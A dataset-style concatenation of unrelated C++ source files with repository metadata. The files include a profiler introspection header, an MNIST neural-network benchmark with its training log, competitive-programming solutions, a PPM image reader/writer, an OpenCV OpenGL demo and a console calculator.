if (!call_info->descr.pretty_name.empty())
return call_info->descr.pretty_name;
return call_info->descr.name;
}
/// \brief Return the file
/// \see get_line()
const std::string &get_file() const
{
return call_info->descr.file;
}
/// \brief Return the line
/// \see get_file()
size_t get_line() const
{
return call_info->descr.line;
}
/// \brief Return the user-defined name (short-hand name)
/// \see get_pretty_name()
/// \see set_name()
const std::string &get_name() const
{
return call_info->descr.name;
}
/// \brief Set the shorthand name
void set_name(const std::string &name)
{
call_info->descr.name = name;
}
/// \brief Return the function descriptor of the function. You could copy it but NEVER, NEVER change it.
const func_descriptor &get_function_descriptor() const
{
return call_info->descr;
}
/// \brief get a measure point
/// \note If no measure point is found, it returns nullptr
const measure_point_entry *get_measure_point_entry(const std::string &name) const
{
if (!context)
return nullptr;
const auto &it = context->measure_points.find(name);
if (it == context->measure_points.end())
return nullptr;
return &it->second;
}
/// \brief Return the whole measure point map
std::map<std::string, measure_point_entry> get_measure_point_map() const
{
if (context)
return context->measure_points;
return std::map<std::string, measure_point_entry>();
}
/// \brief return the duration progression of the self time
std::deque<duration_progression> get_self_duration_progression() const
{
if (!context)
return std::deque<duration_progression>();
else
return context->self_time_progression;
}
/// \brief return the duration progression of the global time
std::deque<duration_progression> get_global_duration_progression() const
{
if (!context)
return std::deque<duration_progression>();
else
return context->global_time_progression;
}
/// \brief Return the probability of a incoming failure
/// \note Unlike get_failure_rate(), it will account all calls of the function
/// \note This call only handle the function, not any of its possible sub-calls
inline float get_failure_ratio() const
{
if (context)
return float(context->fail_count) / float(context->hit_count);
return float(call_info->fail_count) / float(call_info->call_count);
}
/// \brief Return the average duration of the function (and only that function, without the time consumed by sub calls)
inline float get_average_self_duration() const
{
if (context)
return context->average_self_time;
return call_info->average_self_time;
}
/// \brief Return the number of time the self_duration has been monitored
inline float get_average_self_duration_count() const
{
if (context)
return context->average_self_time_count;
return call_info->average_self_time_count;
}
/// \brief Return the average duration of the function (including all sub calls (functions called into this function)
inline float get_average_duration() const
{
if (context)
return context->average_global_time;
return call_info->average_global_time;
}
/// \brief Return the number of time the average_duration has been monitored
inline float get_average_duration_count() const
{
if (context)
return context->average_global_time_count;
return call_info->average_global_time_count;
}
/// \brief Return the last \e count errors for the function, most recent last
/// \param[in] count The number of errors to return
/// \note this method IS NOT context dependent, but always return errors from the global error list
std::vector<reason> get_failure_reasons(size_t count = 10) const;
/// \brief Return the last \e count reports for the function, most recent last
/// \param[in] mode The report mode to retrieve
/// \param[in] count The number of errors to return
/// \note this method IS NOT context dependent
std::vector<reason> get_reports_for_mode(const std::string &mode, size_t count = 10) const;
/// \brief Return the whole reports map
/// \note this method IS NOT context dependent
std::map<std::string, std::deque<reason>> get_reports() const
{
if (context)
return context->reports;
return std::map<std::string, std::deque<reason>>();
}
std::map<std::string, sequence> get_sequences() const
{
if (context)
return context->sequences;
return std::map<std::string, sequence>();
}
/// \brief equality operator
bool operator == (const introspect &o) const
{
return o.context == this->context
&& o.call_info == this->call_info;
}
/// \brief inequality operator
bool operator != (const introspect &o) const
{
return o.context != this->context
|| o.call_info != this->call_info;
}
bool operator < (const introspect &o) const
{
return call_info_index < o.call_info_index || (size_t)call_info < (size_t)o.call_info || (size_t)o.context < (size_t)o.context;
}
private:
size_t call_info_index;
internal::call_info_struct *call_info;
internal::data *global;
internal::stack_entry *context = nullptr;
friend class function_call;
};
} // namespace r
} // namespace neam
#endif /*__N_468510512048024221_1859630211__INTROSPECT_HPP__*/
// kate: indent-mode cstyle; indent-width 2; replace-tabs on;
|
0e7f86a3c79df95a0740a6f6559ceb4483c8afda
|
b01dec5c7410787cc85060075af1f19e035edcc2
|
/src/SystemCommand.cpp
|
871b4ef77a3f6ed89ef6b910852c80e889b0fff5
|
[] |
no_license
|
DorianHawkmoon/Graphiure
|
b32529ce5b1c0c7ef1c15d73e25490ee6f488ea0
|
3cf29fc52cf40409452544a5addc4f012c49f043
|
refs/heads/master
| 2021-01-17T01:37:08.151407
| 2016-12-10T13:35:50
| 2016-12-10T13:35:50
| 33,836,230
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,041
|
cpp
|
SystemCommand.cpp
|
/*
* File: SystemCommand.cpp
* Author: dorian
*
* Created on 27 de marzo de 2015, 18:08
*/
#include "SystemCommand.h"
SystemCommand::SystemCommand() : commandable() {
type=TypeSystem::INPUT;
}
SystemCommand::~SystemCommand() {
}
void SystemCommand::finalize() {
}
void SystemCommand::initialize() {
}
void SystemCommand::registerEntity(Entity* entity) {
if (entity->HasID("Commandable")) {
commandable.push_back(entity);
}
}
void SystemCommand::removedEntity(Entity* entity) {
commandable.erase(std::find(commandable.begin(), commandable.end(), entity));
}
void SystemCommand::update(sf::Time dt) {
}
void SystemCommand::updateSecondPart(sf::Time dt) {
}
void SystemCommand::onCommand(CommandQueue& queue, sf::Time delta) {
while (!queue.isEmpty()) {
const Command& command = queue.pop();
for (auto &entity : commandable) {
if ((command.category & entity->getCategory()) >= 1) {
command.action(*entity, delta);
}
}
}
}
|
ed77c7fe397c8934794b52c792332544b751e338
|
7179e87f61d9da0d906310b00bc6a46bfb85725c
|
/benchmark/mnist.cc
|
7d2539db2cf66509760ff3fdc8c55f498508d6cf
|
[] |
no_license
|
lining1111/tf-cpu
|
b206930e96d73752f0675549cce3aa9b94a8f585
|
c0c96ca023cecc48bd9091f93686cab6359c272d
|
refs/heads/master
| 2023-06-25T06:17:43.882001
| 2020-10-20T00:52:18
| 2020-10-20T00:52:45
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 8,711
|
cc
|
mnist.cc
|
#include <inttypes.h>
#include <libgen.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define _BSD_SOURCE
#include <endian.h>
#include <ios>
#include <memory>
#include <string>
#include <vector>
#include <gflags/gflags.h>
#include "simple_network.hpp"
DEFINE_int32(neurons, 30, "");
DEFINE_int32(epochs, 30, "");
DEFINE_int32(mini_batch_size, 10, "");
DEFINE_int32(num_samples_per_epoch, 60000, "");
DEFINE_double(weight_decay, 1.0, "");
DEFINE_double(learning_rate, 0.01, "");
DEFINE_string(data_dir, "", "");
namespace {
#define IDX_DATA_TYPE_U8 0x8
#define IDX_DATA_TYPE_S8 0x9
#define IDX_DATA_TYPE_I16 0xb
#define IDX_DATA_TYPE_I32 0xc
#define IDX_DATA_TYPE_F32 0xd
#define IDX_DATA_TYPE_F64 0xe
uint32_t ReadIDXFile(FILE* fh, std::vector<uint32_t>& dimensions) {
uint32_t magic;
size_t bytes = fread(&magic, 1, 4, fh);
CHECK_EQ(bytes, 4) << "Failed to read magic number!";
magic = be32toh(magic);
CHECK((magic&0xffff0000) == 0) << "Invalid magic number: " << std::hex << magic;
uint32_t n = magic & 0xff;
dimensions.resize(n);
for (int i = 0; i < n; i++) {
uint32_t dimension;
size_t bytes = fread(&dimension, 1, 4, fh);
CHECK_EQ(bytes, 4) << "Failed to read dimension #" << i;
dimensions[i] = be32toh(dimension);
}
return magic >> 8;
}
std::vector<SimpleNetwork::Case> LoadMNISTData(std::string data_dir, const std::string& name) {
if (data_dir.empty()) {
char path[1000];
ssize_t rc = readlink("/proc/self/exe", path, sizeof(path));
CHECK_GT(rc, 0) << "Failed to get executable path!";
dirname(dirname(dirname(path)));
strncat(path, "/mnist_data", sizeof(path) - strlen(path) - 1);
data_dir = path;
}
const std::string images_file = data_dir + "/" + name + "-images-idx3-ubyte";
// Open images file.
FILE* images_fh = CHECK_NOTNULL(fopen(images_file.c_str(), "rb"));
std::vector<uint32_t> image_dims;
const uint32_t image_data_type = ReadIDXFile(images_fh, image_dims);
CHECK_EQ(IDX_DATA_TYPE_U8, image_data_type) << "Invalid image data type: " << image_data_type;
CHECK_EQ(3, image_dims.size()) << "Invalid image #dims: " << image_dims.size();
const uint32_t num_images = image_dims[0];
const uint32_t image_size = image_dims[1] * image_dims[2];
// Open labels file.
const std::string labels_file = data_dir + "/" + name + "-labels-idx1-ubyte";
FILE* labels_fh = CHECK_NOTNULL(fopen(labels_file.c_str(), "rb"));
std::vector<uint32_t> label_dims;
const uint32_t label_data_type = ReadIDXFile(labels_fh, label_dims);
CHECK_EQ(IDX_DATA_TYPE_U8, label_data_type) << "Invalid label data type: " << label_data_type;
CHECK_EQ(1, label_dims.size()) << "Invalid label #dims: " << label_dims.size();
const uint32_t num_labels = label_dims[0];
CHECK_EQ(num_images, num_labels) << "#images != #labels: " << num_images << "!=" << num_labels;
std::vector<SimpleNetwork::Case> results(num_images);
std::unique_ptr<uint8_t[]> image_data(new uint8_t[image_size]);
for (int i = 0; i < num_images; i++) {
size_t bytes = fread(image_data.get(), 1, image_size, images_fh);
CHECK_EQ(bytes, image_size) << "Failed to read image #" << i;
auto& image = results[i].first;
image.resize(image_size);
for (int j = 0; j < image_size; j++) image(j) = image_data[j] / 256.f;
uint8_t label;
bytes = fread(&label, 1, 1, labels_fh);
CHECK_EQ(bytes, 1) << "Failed to read label #" << i;
results[i].second = label;
}
fclose(images_fh);
fclose(labels_fh);
return results;
}
} // namespace
int main(int argc, char* argv[]) {
google::SetCommandLineOption("v", "-1");
google::ParseCommandLineFlags(&argc, &argv, true);
LOG(INFO) << "Loading MNIST data into memory ...";
const auto training_data = LoadMNISTData(FLAGS_data_dir, "train");
const auto testing_data = LoadMNISTData(FLAGS_data_dir, "t10k");
LOG(INFO) << "Training using MNIST data ...";
const int image_size = training_data[0].first.size();
std::vector<SimpleNetwork::Layer> layers;
layers.push_back({image_size, SimpleNetwork::ActivationFunc::Identity});
layers.push_back({FLAGS_neurons, SimpleNetwork::ActivationFunc::Sigmoid});
layers.push_back({10, SimpleNetwork::ActivationFunc::SoftMax});
SimpleNetwork network(layers, FLAGS_mini_batch_size);
network.Train(training_data, FLAGS_num_samples_per_epoch, FLAGS_epochs, FLAGS_weight_decay,
FLAGS_learning_rate, &testing_data);
}
/*
2018-07-12 05:46:37.117916: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 1 testing accuracy: 0.9337(9337/10000).
2018-07-12 05:46:37.693736: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 2 testing accuracy: 0.9458(9458/10000).
2018-07-12 05:46:38.195392: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 3 testing accuracy: 0.9546(9546/10000).
2018-07-12 05:46:38.704860: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 4 testing accuracy: 0.9572(9572/10000).
2018-07-12 05:46:39.209291: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 5 testing accuracy: 0.9574(9574/10000).
2018-07-12 05:46:39.726780: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 6 testing accuracy: 0.96(9600/10000).
2018-07-12 05:46:40.230298: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 7 testing accuracy: 0.961(9610/10000).
2018-07-12 05:46:40.735489: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 8 testing accuracy: 0.9646(9646/10000).
2018-07-12 05:46:41.240680: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 9 testing accuracy: 0.9658(9658/10000).
2018-07-12 05:46:41.780601: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 10 testing accuracy: 0.9654(9654/10000).
2018-07-12 05:46:42.286129: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 11 testing accuracy: 0.966(9660/10000).
2018-07-12 05:46:42.793442: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 12 testing accuracy: 0.9646(9646/10000).
2018-07-12 05:46:43.299229: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 13 testing accuracy: 0.9671(9671/10000).
2018-07-12 05:46:43.848350: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 14 testing accuracy: 0.965(9650/10000).
2018-07-12 05:46:44.349775: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 15 testing accuracy: 0.9656(9656/10000).
2018-07-12 05:46:44.853401: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 16 testing accuracy: 0.9667(9667/10000).
2018-07-12 05:46:45.359143: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 17 testing accuracy: 0.9676(9676/10000).
2018-07-12 05:46:45.878410: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 18 testing accuracy: 0.9665(9665/10000).
2018-07-12 05:46:46.381842: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 19 testing accuracy: 0.9679(9679/10000).
2018-07-12 05:46:46.887141: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 20 testing accuracy: 0.9644(9644/10000).
2018-07-12 05:46:47.391725: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 21 testing accuracy: 0.964(9640/10000).
2018-07-12 05:46:47.913578: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 22 testing accuracy: 0.9667(9667/10000).
2018-07-12 05:46:48.430757: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 23 testing accuracy: 0.9649(9649/10000).
2018-07-12 05:46:48.947995: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 24 testing accuracy: 0.9661(9661/10000).
2018-07-12 05:46:49.462165: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 25 testing accuracy: 0.9654(9654/10000).
2018-07-12 05:46:49.988273: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 26 testing accuracy: 0.9658(9658/10000).
2018-07-12 05:46:50.490390: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 27 testing accuracy: 0.9653(9653/10000).
2018-07-12 05:46:50.994772: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 28 testing accuracy: 0.9675(9675/10000).
2018-07-12 05:46:51.497389: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 29 testing accuracy: 0.9667(9667/10000).
2018-07-12 05:46:52.011331: I /home/chao/projects/tf-cpu/benchmark/simple_network.cc:210] Epoch 30 testing accuracy: 0.9657(9657/10000).
*/
|
31df0aff491ee7478f5e05508969a24a96f4752e
|
a725c4f380cc19b46ff97e769cf3cbf44214333b
|
/cpp-leetcode/leetcode39-combination-sum_backtracking.cpp
|
d6274fa77b327e9b03259bed602d5496114833bc
|
[
"MIT"
] |
permissive
|
llenroc/leetcode-ac
|
b4e120d42aa138bfaa092a24dc941b03eb0c9279
|
fd199fe254898fcb5de7d16a5d39ff78cfcd1026
|
refs/heads/master
| 2023-08-12T07:58:16.609374
| 2021-10-12T14:03:23
| 2021-10-12T14:03:23
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,154
|
cpp
|
leetcode39-combination-sum_backtracking.cpp
|
#include <algorithm>
#include <vector>
#include <iostream>
using namespace std;
// dfs
class Solution {
vector<vector<int>> res;
public:
vector<vector<int>> combinationSum(vector<int>& candidates, int target) {
vector<int> curGroup;
dfs(candidates, target, curGroup, 0, 0);
return res;
}
void dfs(vector<int> &candidates, int target, vector<int> &curGroup, int sum, int startPos)
{
if (sum > target)
return;
if (sum == target)
res.push_back(curGroup);
else
{
int curSum = sum;
for (int i = startPos; i < candidates.size(); i++)
{
sum = curSum; // 保证sum不受同层元素的影响
sum = sum + candidates[i];
curGroup.push_back(candidates[i]);
dfs(candidates, target, curGroup, sum, i);
curGroup.pop_back();
}
}
}
};
// Test
int main()
{
vector<int> candidates = {2, 3, 6, 7};
int target = 7;
Solution sol;
auto res = sol.combinationSum(candidates, target);
return 0;
}
|
87dac4b3d2bed51bf9805394b8cde8bb00e2950c
|
4bd4cd8725113cf6172005e36c1d22d2c04df769
|
/code5/src/include/eff_far.hpp
|
2728dd43897608e8ba124810e44d84dbf452181d
|
[] |
no_license
|
gjwei1999/PandaX-4T_sdu
|
0389999da02334e1201efb8a7e534421401e7cdc
|
7134cd5cd37e5be788d962ea7ee49ade0e9e660f
|
refs/heads/master
| 2023-06-26T00:59:44.196253
| 2021-07-22T14:04:40
| 2021-07-22T14:04:40
| 318,829,423
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,283
|
hpp
|
eff_far.hpp
|
/***************************/
/* */
/* Created by Jiawei Guo */
/* Shandong University */
/* */
/***************************/
#ifndef EFF_FAR_H
#define EFF_FAR_H
#include "TH1D.h"
#include "TH2D.h"
#include "TMath.h"
#include "TFile.h"
class Eff_far{
private:
int nbin = 1000;
double Tsn_min = 0.01;
double Tsn_max = 2.0;
double rate_sn_min = 0.0;
double rate_sn_max = 15;
public:
Eff_far();
virtual ~Eff_far();
double trigger_effeciency(int num_thr, double time_sn, double rate_sn, double rate_bkg);
double false_alert_rate(int num_thr, double time_sn, double rate_bkg);
double Erlang_integral(int num_thr, double time_sn, double rate_sn);
double Possion(int k, double time, double rate);
double Average_prob1(int num_thr, double time_sn, double rate_sn);
double Average_prob2(int num_thr, double time_sn, double rate_sn);
double trigger_eff_min(int num_thr, double time_sn, double rate_sn, double rate_bkg);
//Double_t term34_func(Double_t *x, Double_t *par);
// void eff_vs_Tsn(int num_thr, double rate_sn, TFile * root_file);
// void eff_vs_rate(int num_thr, double time_sn, TFile * root_file);
};
#endif
|
5ba3817af2e25b48b3cd58dbddefcd02f4ebf283
|
a5a934e6039c24e1311a00303f653fbac89e911f
|
/misc/concert/main.cpp
|
e32e252a2c93067036c7101aefe2c3134b20c740
|
[
"MIT"
] |
permissive
|
wdjpng/soi
|
8bd9561a3a3d86a0081388cde735a2d2cd3b3de8
|
dd565587ae30985676f7f374093ec0687436b881
|
refs/heads/master
| 2022-11-19T03:26:58.386248
| 2020-07-15T15:35:48
| 2020-07-15T15:35:48
| 171,109,395
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,183
|
cpp
|
main.cpp
|
#include <iostream>
#include <vector>
#include <queue>
#include <limits>
#define int long long
using namespace std;
signed main() {
// Turn off synchronization between cin/cout and scanf/printf
ios_base::sync_with_stdio(false);
// Disable automatic flush of cout when reading from cin cin.tie(0);
cin.tie(0);
int n, sum = 0;
cin >> n;
priority_queue<int>lastDecreasingSize;
vector<int> input(n);
for (int i = 0; i < n; ++i) {
int cur;
cin >> cur;
input[i]&=cur;
vector<int> toAdd;
while (lastDecreasingSize.size() && -lastDecreasingSize.top() <= cur){
if( - lastDecreasingSize.top() == cur){
toAdd.push_back(lastDecreasingSize.top());
}
sum++;
lastDecreasingSize.pop();
}
if(lastDecreasingSize.size()){
sum++;
}
for (int j = 0; j < toAdd.size(); ++j) {
lastDecreasingSize.push(toAdd[j]);
}
lastDecreasingSize.push(- cur);
}
for (int i = n - 1; i > 0; --i) {
if(input[i] < input[i-1]){
sum++;
}
}
cout << sum << "\n";
}
|
b40169069f39e1bb3559e2c1aaed8dcd906075db
|
3569ff39cc1c7bb82aa359d86bfa7a052d437f9e
|
/toytracer/ppm_image.cpp
|
7b5582e33c2e22feeb8f1c5a1c7f33c6aa911da7
|
[] |
no_license
|
patback66/COEN148
|
00d215f0a8067a77763282f85c5b6dbff1585c96
|
edbb9ff975019ba205822dc4d3dc93baae268c8c
|
refs/heads/master
| 2021-01-17T11:04:50.980131
| 2017-03-15T18:00:46
| 2017-03-15T18:00:46
| 42,891,290
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,958
|
cpp
|
ppm_image.cpp
|
/***************************************************************************
* ppm_image.cpp *
* *
* The image class defines a trivial encoding for images known as PPM *
* format; it simply consists of an array or RGB triples, with one byte *
* per component, preceeded by a simple header giving the size of the *
* image. *
* *
* History: *
* 10/21/2005 File i/o now based on ofstream. *
* 04/01/2003 Initial coding. *
* *
***************************************************************************/
#include <fstream>
#include <sstream>
#include "ppm_image.h"
using std::string;
using std::ifstream;
using std::ofstream;
using std::stringstream;
PPM_Image::PPM_Image( int x_res, int y_res )
{
width = x_res;
height = y_res;
pixels = new Pixel[ width * height ];
Pixel *p = pixels;
for( int i = 0; i < width * height; i++ ) *p++ = Pixel(0,0,0);
}
bool PPM_Image::Write( string file_name )
{
ofstream fout( file_name.c_str(), ofstream::binary );
if( !fout.is_open() ) return false;
fout << "P6\n"
<< width << " " << height << "\n"
<< 255 << "\n";
fout.write( (const char *)pixels, 3 * height * width );
fout.close();
return true;
}
bool PPM_Image::Read( string file_name )
{
string type;
int depth;
char buff[512];
ifstream fin( file_name.c_str(), ifstream::binary );
if( !fin.is_open() ) return false;
fin.getline( buff, 512 ); // P6
stringstream line1( buff );
fin.getline( buff, 512 ); // width and height
stringstream line2( buff );
fin.getline( buff, 512 ); // Image depth.
stringstream line3( buff );
line1 >> type;
line2 >> width >> height;
line3 >> depth;
if( type != "P6" ) return false;
if( depth != 255 ) return false;
delete pixels;
pixels = new Pixel[ width * height ];
Pixel *p = pixels;
for( int i = 0; i < height; i++ )
for( int j = 0; j < width ; j++ )
{
channel r = fin.get();
channel g = fin.get();
channel b = fin.get();
*p++ = Pixel( r, g, b );
}
fin.close();
return true;
}
bool Overwrite_PPM_Image( string file_name )
{
ofstream fout( file_name.c_str(), ofstream::binary );
if( !fout.is_open() ) return false;
fout << "P6\n1 1\n255\n000";
fout.close();
return true;
}
|
06d7655afb720d9fcbcc07f49a88e3acc0795d3b
|
21f9204b89ba2e530f7ceaad55f68015bd20d83a
|
/topcoder/SRM634/ShoppingSurveyDiv1.cpp
|
00a8a2250634965daf66b37f0e7d3e3b7fe27ed8
|
[] |
no_license
|
zhupeijun/Algorithm
|
00d76e8d5944851f3776934b6edc47704d2e8d7a
|
af51abc16689f1e7c545bcee40c0727e69708e05
|
refs/heads/master
| 2023-01-24T03:07:22.529359
| 2023-01-09T16:26:36
| 2023-01-09T16:29:23
| 27,425,280
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,180
|
cpp
|
ShoppingSurveyDiv1.cpp
|
#include <iostream>
#include <cstring>
#include <string>
#include <vector>
#include <cstdlib>
#include <cstdio>
using namespace std;
const int MAXN = 505;
int tot[MAXN], top[MAXN];
class ShoppingSurveyDiv1 {
public:
int minValue(int N, int K, vector <int> s) {
int M = s.size();
for(int k = 0; k <= N; k++) {
vector<int> tmp = s;
int can = 0;
for(int i = 0; i < N; i++) { tot[i] = 0; top[i] = -1; }
for(int i = 0; i < k; i++) {
for(int j = 0; j < M; j++)
if(tmp[j] > 0) { tmp[j]--; tot[i]++; top[i] = j; }
if(tot[i] >= K) can++;
}
bool ok = true;
int ci = k;
for(int j = 0; j < M; j++) {
while(tmp[j] > 0) {
if(top[ci] == j) { ok = false; break; }
tot[ci] ++; top[ci] = j; tmp[j] --;
if(tot[ci] >= K) { ok = false; break; }
ci = (ci + 1) % N;
if(ci == 0) ci = k;
}
if(!ok) break;
}
if(ok) return can;
}
return N;
}
};
|
b19103429254cc466fdde7d6d564571ec09653a4
|
99466d9132f7cf3ee53f54f1c3fe5a2848f1942e
|
/416.cpp
|
e0cc869dd9e17eed2456133d2172fc2256eca363
|
[] |
no_license
|
Hyukli/leetcode
|
e71604126712ad801dd27c387099999085f055d3
|
3444f0a92ee4edc7607ee8afab760c756a89df7f
|
refs/heads/master
| 2021-06-05T14:14:58.792020
| 2020-03-31T13:40:58
| 2020-03-31T13:40:58
| 93,115,710
| 4
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 772
|
cpp
|
416.cpp
|
#include<iostream>
#include<vector>
using namespace std;
class Solution {
public:
bool canPartition(vector<int>& nums) {
int sum=0;
int n=nums.size();
for(int i=0;i<n;i++)
{
sum+=nums[i];
}
if((sum&1)==1)
{
return false;
}
sum/=2;
vector<bool> dp(sum,0);
dp[0]=1;
for(int i=0;i<n;i++)
{
for(int j=sum;j>=nums[i];j--)
{
dp[j]=dp[j]||dp[j-nums[i]];
}
}
return dp[sum];
}
};
int main()
{
int n;
cin>>n;
Solution s;
vector<int> v(n);
for(int i=0;i<n;i++)
{
cin>>v[i];
}
cout<<(s.canPartition(v)?"Yes":"No")<<endl;
return 0;
}
|
2739c05cd89046bddfd63950884b9c8309487d74
|
aa9501929556d66af3e017c218b93b4f893c3a72
|
/test/gl_test.cpp
|
9aabc9cd6c21ad612adebc1161c55d171229de91
|
[] |
no_license
|
k-sheridan/dipa
|
61c2d9ec3a00a6b141e0509083c792cc4362b781
|
52477bb5c7debea6850abc86cc7e106f255aa5f7
|
refs/heads/master
| 2021-03-27T19:48:22.745912
| 2017-07-17T21:35:56
| 2017-07-17T21:35:56
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,025
|
cpp
|
gl_test.cpp
|
/*
* gl_test.cpp
*
* Created on: Jun 30, 2017
* Author: kevin
*/
#include <ros/ros.h>
#include <GL/gl.h>
#include <GL/glu.h>
#include "opencv2/core.hpp"
#include "opencv2/core/opengl.hpp"
#include "opencv2/core/cuda.hpp"
#include "opencv2/highgui.hpp"
using namespace std;
using namespace cv;
using namespace cv::cuda;
const int win_width = 800;
const int win_height = 640;
struct DrawData
{
ogl::Arrays arr;
ogl::Texture2D tex;
ogl::Buffer indices;
};
void draw(void* userdata);
void draw(void* userdata)
{
DrawData* data = static_cast<DrawData*>(userdata);
glRotated(0.6, 0, 1, 0);
ogl::render(data->arr, data->indices, ogl::TRIANGLES);
}
int main(int argc, char **argv)
{
cv::Mat img = cv::Mat::ones(cv::Size(50, 50), CV_8U) * 255;
namedWindow("OpenGL", WINDOW_OPENGL);
resizeWindow("OpenGL", win_width, win_height);
Mat_<Vec2f> vertex(1, 4);
vertex << Vec2f(-1, 1), Vec2f(-1, -1), Vec2f(1, -1), Vec2f(1, 1);
Mat_<Vec2f> texCoords(1, 4);
texCoords << Vec2f(0, 0), Vec2f(0, 1), Vec2f(1, 1), Vec2f(1, 0);
Mat_<int> indices(1, 6);
indices << 0, 1, 2, 2, 3, 0;
DrawData data;
data.arr.setVertexArray(vertex);
data.arr.setTexCoordArray(texCoords);
data.indices.copyFrom(indices);
data.tex.copyFrom(img);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluPerspective(45.0, (double)win_width / win_height, 0.1, 100.0);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
gluLookAt(0, 0, 3, 0, 0, 0, 0, 1, 0);
glEnable(GL_TEXTURE_2D);
data.tex.bind();
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
glTexEnvi(GL_TEXTURE_2D, GL_TEXTURE_ENV_MODE, GL_REPLACE);
glDisable(GL_CULL_FACE);
setOpenGlDrawCallback("OpenGL", draw, &data);
for (;;)
{
updateWindow("OpenGL");
char key = (char)waitKey(40);
if (key == 27)
break;
}
setOpenGlDrawCallback("OpenGL", 0, 0);
destroyAllWindows();
return 0;
}
|
420e2925ea7ce416d7df083590d4ef6ef9fbfc97
|
d83ceddccfe42f217047bc681eb8301f431d8040
|
/day3/fun_calculator.cpp
|
fac609d37a2605da28511a719b09d86de0b77dbd
|
[] |
no_license
|
SimranKaur431/NR_Ace_Coding
|
e9d959c73cc0a19cc0a1999abd657a2edee09eaa
|
16a5e9ad10b6dff92430a7851bd1a90f2903b33a
|
refs/heads/main
| 2023-09-04T12:26:15.209260
| 2021-10-08T12:53:10
| 2021-10-08T12:53:10
| 411,299,232
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,277
|
cpp
|
fun_calculator.cpp
|
#include<bits/stdc++.h>
using namespace std;
int sum(int a, int b){
return a+b;
}
int sub(int a ,int b){
return a-b;
}
int mul(int a, int b){
return a*b;
}
int divide(int a, int b){
return a/b;
}
int main(){
cout<<"Calculator";
while(true){
cout<<"Enter the operation you want to perform\n";
cout<<"Press + for addition operation\n";
cout<<"Press - for subtraction operation\n";
cout<<"Press * for multiplication operation\n";
cout<<"Press / for division operation\n";
cout<<"Press # to exit\n ";
char operation;
cin>>operation;
if(operation=='#'){
break;
}
else if( operation=='+'){
cout<<"Enter two number for addition\n";
int a,b;
cin>>a>>b;
cout<<sum(a,b)<<"\n\n";
}
else if( operation=='-'){
cout<<"Enter two number for subtraction\n";
int a,b;
cin>>a>>b;
cout<<sub(a,b)<<"\n\n";
}
else if( operation=='*'){
cout<<"Enter two number for multiplication\n";
int a,b;
cin>>a>>b;
cout<<mul(a,b)<<"\n\n";
}
else if( operation=='/'){
cout<<"Enter two number for division(a/b)\n";
int a,b;
cin>>a>>b;
cout<<divide(a,b)<<"\n\n";
}
else{
cout<<"Invalid Operation";
}
}
return 0;
}
|
2419101d6986af0848e78321f203659114a5e9f1
|
c368ca9315f3d5142c8d4448b7603fe9aa5bf813
|
/GameSystem/Timeline/Timeline.cpp
|
72bd948e34bfdd20ade227d4b4a0308dd1ec656b
|
[
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
timofonic/OpenHexagon-Unix
|
e546986aace4adaf58f0a90ff697403f7180d384
|
3bee9a481ee35f93c14ef1e8ad96837a0800332c
|
refs/heads/master
| 2016-09-10T00:12:26.824430
| 2012-11-20T14:58:34
| 2012-11-20T14:58:34
| 6,785,335
| 1
| 0
| null | 2014-10-20T23:52:52
| 2012-11-20T21:17:52
|
C++
|
UTF-8
|
C++
| false
| false
| 1,891
|
cpp
|
Timeline.cpp
|
#include "Timeline.h"
#include "Command.h"
#include "../Utils.h"
#include <algorithm>
#include <iostream>
#include <sstream>
using namespace std;
namespace ssvs
{
Timeline::~Timeline()
{
for (auto commandPtr : commandPtrs) delete commandPtr;
}
bool Timeline::isFinished() { return finished; }
